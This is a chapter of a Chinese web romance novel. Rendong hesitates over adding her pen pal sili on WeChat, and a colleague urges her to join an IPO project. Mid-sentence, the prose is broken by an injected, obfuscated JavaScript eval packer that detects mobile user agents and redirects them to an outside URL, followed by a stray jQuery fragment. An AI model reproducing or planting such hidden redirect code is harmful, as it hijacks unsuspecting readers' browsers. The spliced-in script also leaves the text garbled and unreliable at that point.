18. 第 18 章

作品:《这一分钟告白

    难得周末,沪城却接连下了两天雨,天气阴沉沉的,整个城市都笼罩着一股子难以言说的低落气氛。


    忍冬那天在家楼下淋了点春雨,洗完澡之后当晚又发起低烧。


    不过并不严重,只在床上煎熬半宿,躺了又躺,翌日傍晚起来,用软毛巾擦干净额头上的汗,休息会点了份美|龄粥吃。


    粥慢慢地吃下去,人就没事了。球球窝在忍冬旁边的椅子上。


    放在餐桌边的手机震动了几下,忍冬放下勺子,把电话接起来。


    邮递员:“你好,是这个802室的住户吗?有你的信,我还是放在小区保安亭的收发室了,你有空去取一下吧。”


    忍冬语意轻柔地:“知道了,谢谢。”


    忍冬起身,球球立刻跳下椅子,跟在忍冬的脚后,小猫的尖尖耳朵动了动,听见滑轮在轨道上滚动的咕噜咕噜声。


    忍冬推开阳台的玻璃门,一股带着潮湿的风扑面而来,外面的阳光倒是很暖和。


    往外看,路过的行人都没有打雨伞,反而楼下黄花风铃木盛开花瓣盛开的样子,很像少女撑开的一把一把雨伞,在阳光与微风里微微晃荡。


    雨过后,花都开了。


    春天真的来了。


    忍冬的手指从封窗的小缝隙中弹出去,指尖没有沾到空气中的湿润。


    外面没有再下雨。可以出门拿sili的信了。


    忍冬伸了个懒腰,回房,头发随手用夹子抓起来,另外还要再用两只A字夹固定住,病刚好还是不要作死,披了一件浅蓝色的针织开衫外套,拿上钥匙手机出门了。


    忍冬拿到信以后,在路上一直忍住不拆sili的信,回到家了,才坐下来,以十万分虔诚的心去认真对待sili的信。


    忍冬从收到来自sili的第一封信开始,就是这样的习惯。


    收到sili的第一封信件伊始,对这个人的初印象就是他应该是个很体面很优雅,富裕,讲究生活愉悦感的人。


    因为sili递过来的信封就很漂亮。


    忍冬至今记得,第一封信,是一封雪白的信,信封的封面摩挲着有种厚重的质感。


    在信的封口处,粘了一节白色铃兰的花瓣。


    不知道是如何做到的,漂洋过海,远渡重洋,铃兰花的花瓣依旧鲜嫩洁白,柔软多汁,摸上去尚且带有枝头的余温。


    忍冬反复看了一会信封,然后拿出一把精致的美工刀,切平,沿着信的封口小心翼翼地划开,留下了那一朵漂亮的铃兰。放在一边。


    徐忍冬把里面的信纸抽出来,打开,立刻闻到一阵很好闻的气息。


    淡淡的,又有些缥缈,氤氲着一股轻柔甜香。


    徐忍冬展开信纸,柔韧雪白的纸张发出哗啦啦的折叠声。宛如特拉法加广场上翩飞扑棱的白鸽。


    信件完整铺开,sili的字迹展现在徐忍冬的眼前。


    雪白的信纸上,映衬着很漂亮的一手字,字体间一股子冷淡利落的味道,停顿与连笔之间又敛藏着锋芒。


    不过sili写信的语气一点都不像ta的字,倒是温柔许多,ta在信里先是问了好,回了忍冬寄出去的第一封信里讲的话。


    ta回得很认真,又温柔又带着点可爱的小幽默。


    对世界呼喊之后,从世界的某个角落里会传来回电。然后漫天旋转都是对方的回音。


    这种感觉真好。


    有人回应,一直都很好。


    尤其是对当时处于临近崩溃状态的忍冬来说,sili的信成了很重要的精神寄托。


    她需要回音,才不会一直陷入真空又绝望的情绪里面,一直麻木痛苦下去。


    在第一封信的末尾,sili还写着:


    [铃兰花与夜莺的一期一会——会有这么一个传说,夜莺约定,会在铃兰绽放的时候飞回森林,与林中的精灵和仙女一起歌唱赞歌。听过这个传说以后,铃兰在我眼里成了某种代表幸福,好运的福音。


    [国内有规定,越洋信件无法邮寄种子,所以我没办法把铃兰的种子作为礼物寄过去给你。]


    [信纸上我洒了一些后调是铃兰,雪松和麝香调香的香水,特意选了留香时间比较长的。希望信送到你的手中的时候,它味道还没有消散。Dolores,嗅动鼻子,闻。]


    忍冬读着信,听话地翕动鼻子。


    再次闻到那阵信纸展开时很轻柔的香味,给人的感觉很舒服,而且还加了雪松和麝香,变得更加温暖。


    像走了很久很久,终于回到家里,摸到了小猫柔软温热的肚皮。


    [很听话的乖孩子。是的,这就是铃兰调香的味道。也是福音的味道。祝你一直,一直幸福。Dolores。]


    [sili致上。]


    当时忍冬看完第一封信以后,泣不成声。


    晶莹的泪珠沿着脸颊滑落,下巴湿漉漉的一片,眼泪甚至掉在了信纸上,晕染开些微的墨迹。


    经历过分手以后,忍冬整个人的情绪想被抽干了,她完全记不起要怎么笑,开心的时候,心脏会如何跳动,感到幸福的时候,脸颊的温度又会如何滚烫。


    她甚至,她甚至想不到自己的未来了。


    可是现在,有人在祝福她。


    而后五年,收到来自sili的信,几乎都是这样的口吻。


    带着温柔诚恳的底色,有时候浪漫,有时候成熟,有时候包容——总之,是个博学多闻,丰富有趣,却又云淡风轻的笔友。


    这叫忍冬能如何不珍重sili。


    徐忍冬坐在地毯上,一把用了快五年的美工刀,拆信。


    忍冬认真地读着,读到最后,微微瞪圆了眼睛。


    她反复将那几行读了一次。


    这次的回信里,sili竟然在信的末尾写了ta的微信账号——


    虽然在很久以前,忍冬提过要不要加电子社联,email,企|鹅,或者微信都可以。


    当时sili的回复是回了国之后再加比较方便。如果Dolores愿意的话,还可以线下一起吃饭。


    忍冬当时就觉得sili是个很聪明,又很温柔,愿意包容的人。


    ta拒绝了,然后自己提出更“逾越”一点的方式,比如直接见面,来冲淡忍冬提出交换联系方式的举动,不让忍冬有被拒绝的尴尬感。


    至于是不是真的要见面,那是未来完全没边的事,不重要。双方只要现在感到舒服就好。


    然而过了这么多年,忍冬没想到sili一直记着,这次的邮件来信确实换成了国内的港岛,然后就真的附上了微信联系方式。


    忍冬犹豫了一会,反复捏着那张信纸,把球球抱过来,捏捏球球的爪爪,问球球说:“球球,你觉得我应该加吗?”


    球球一脸懵逼地看着忍冬。


    徐忍冬十分依赖球球:“三秒钟,你觉得我应该加的话,喵一声。”


    “不应该加的话,你就不讲话,好不好。”


    “三,二,一。”


    球球一语不发。安静坐在忍冬的怀抱里。


    忍冬有点遗憾:“不讲话啊,那不加好了。”


    “我记得别人讲过,犹豫的事情不要做,也正好是这个道理呢。而且距离产生美,保持这样的朋友距离就好,是不,球球。”


    球球终于喵了一下。


    话虽如此,徐忍冬还是有点失落的。她盯着信件后面那串英文账号。


    总是一个人过,偶尔有个能随时聊天的朋友,多好呀。


    何况对方是sili。


    可是,可是。


    她又害怕自己加上了之后总是忍不住打扰别人。


    毕竟她觉得sili是个很温柔也很诚恳的人,也是个很好的朋友。


    然而写信跟即时聊天的完全不同。


    联系变得更轻易,也就意味着界限更模糊,她几乎随时都可以打扰sili。


    她能确保自己绝对不踩过界吗?很明显是不行的。


    忍冬不想再因为自己的无聊,幼稚,麻烦,承受一些失去。


    -


    明明知道第二天是周一,要上班,然而当晚忍冬躺在床上煎了大半宿的鱼,就是睡不着,脑海里反复斟酌着某件事。


    直到窗外天光一线微亮,徐忍冬才模模糊糊地睡过去。


    不过感觉一闭上眼,闹钟立刻就响了。


    忍冬:“……”


    起来眼底一片青黑,化妆的时候遮瑕液要比平时多滴一点儿,然后用粉扑用力地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15195024|165384||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拍实。


    徐忍冬匆匆挽起头发,换上浅灰色A字裙,浅口高跟鞋,跟球球道别以后,出门上班了。


    在公司茶歇室刚好碰见Jessica,Jessica轻微晃着脑袋吹着咖啡,惊呼道:“Dolores,你周末过得很辛苦吗?有心事?”


    徐忍冬按了按眼下,笑笑说:“遇到点事。很明显吗Jessica姐姐?”


    Jessica唔了一声,歪着脑袋打量:“还行,脸还是很漂亮,表情有点明显。”


    忍冬只好无可奈何地笑笑。低头喝了一口咖啡。


    Jessica看了一眼周围,压低了一点儿声音,神秘道:“你先别忙。我有事跟你说。公司承揽了个大项目,老大也会亲自下场当现场负责人,我已经把你推了上去,到时候你跟我一起。”


    忍冬微微愕然,心想会不会是钱丽的那个项目——


    可是她还在考虑要不要打报告转岗。跟顾怀臻吵成那样,话说得那样绝,本来就打着破罐子破摔的想法,再也不想在投行部呆着了。


    怎么一转眼——


    Jessica看着不讲话的忍冬,低头喝了一口咖啡,给出两个人思考的空间。


    片刻后,Jessica背着光低声问:“Dolores,你这是……有什么顾虑?”


    忍冬立刻说:“没有,很感谢Jessica把我名字报上去。”


    “Dolores。”Jessica打断忍冬,“你知道我,直来直往的,不喜欢逢场作戏溜须拍马那一套。”


    忍冬拉着Jessica的手背,看着Jessica的双眼,说,“我当然知道。但是是真的要感谢你想着我。但是我有点——有点想…。”


    Jessica何等人精,她立刻察觉了Dolores的意思,诧异道,“你想走?不是吧,Dolores,你要走?面试的时候我对你很有印象,很聪明很努力的一个小姑娘,你要走?是不是公司谁给你脸色看了?!”


    “不对,消息还没公布出去,没人会给你脸色看。那是为什么——”


    忍冬有些难为情:“……我。”


    Jessica安静了一会,她想了一想,于是不再追问了,只告诉徐忍冬,“你要走,你一定要考虑好。你还这么年轻,又不是vip员工,跟那种太子公主一样光来享受不干活的——”


    虽然Dolores是光庆中学毕业,但是Jessica抿心自问,她还真没看出Dolores身上有什么皇族血脉。


    家家都有本难念的经,Jessica不问。


    “有时候再努力也拼不过别人,当然我不是嘲笑你,这是很现实的情况。但是难得有个好机会,老大,也就是怀臻总亲自趴现场,你知道这多难!那种高高在上的老大,一向只会出现在承揽环节和敲钟仪式上,这次竟然……我把你的名字报了上去,你跟着怀臻总手底下做事,就有机会积累你自己的资源和人脉。”


    更何况,Kingsely是谁?短短好几年就从Analyst到MD,业内从未见过这种晋升速度,无比诡异,但是至今圈内没人提出过质疑。


    要做到这种程度,除了他背后的家世,本人的能力绝对是顶尖的,无可比拟的。


    Jessica想,如果能跟到Kingsely,成为他的直属下属,一定能学到很多,对ipo整个流程乃至全行业拥有全新的视野。


    忍冬十分知道Jessica对她好,揽住Jessica的肩膀,千言万语,只能说一声:“谢谢Jessica姐姐。”


    Jessica嗔笑,摸了摸忍冬的脸:“谢什么。我是珍惜人才。你要慎重考虑,遇到什么困难,来跟姐说,实在不行,咱还有高高在上的king总呢,嗯?”


    忍冬不明白。


    “组成了一个ipo的团队,怀臻总就是咱们券商方的老大,靠山,底气,盾牌。要跟会计师团队,跟律师团队,跟企业那边对喷,还是遇到什么困难,怀臻总一定会帮我们的。”


    徐忍冬只能苦笑。


    Jessica:“话说到这里就好了。认真考虑,好不好。Dolores,真正进去到这个圈子是很困难的,而面前,正是你的机会。”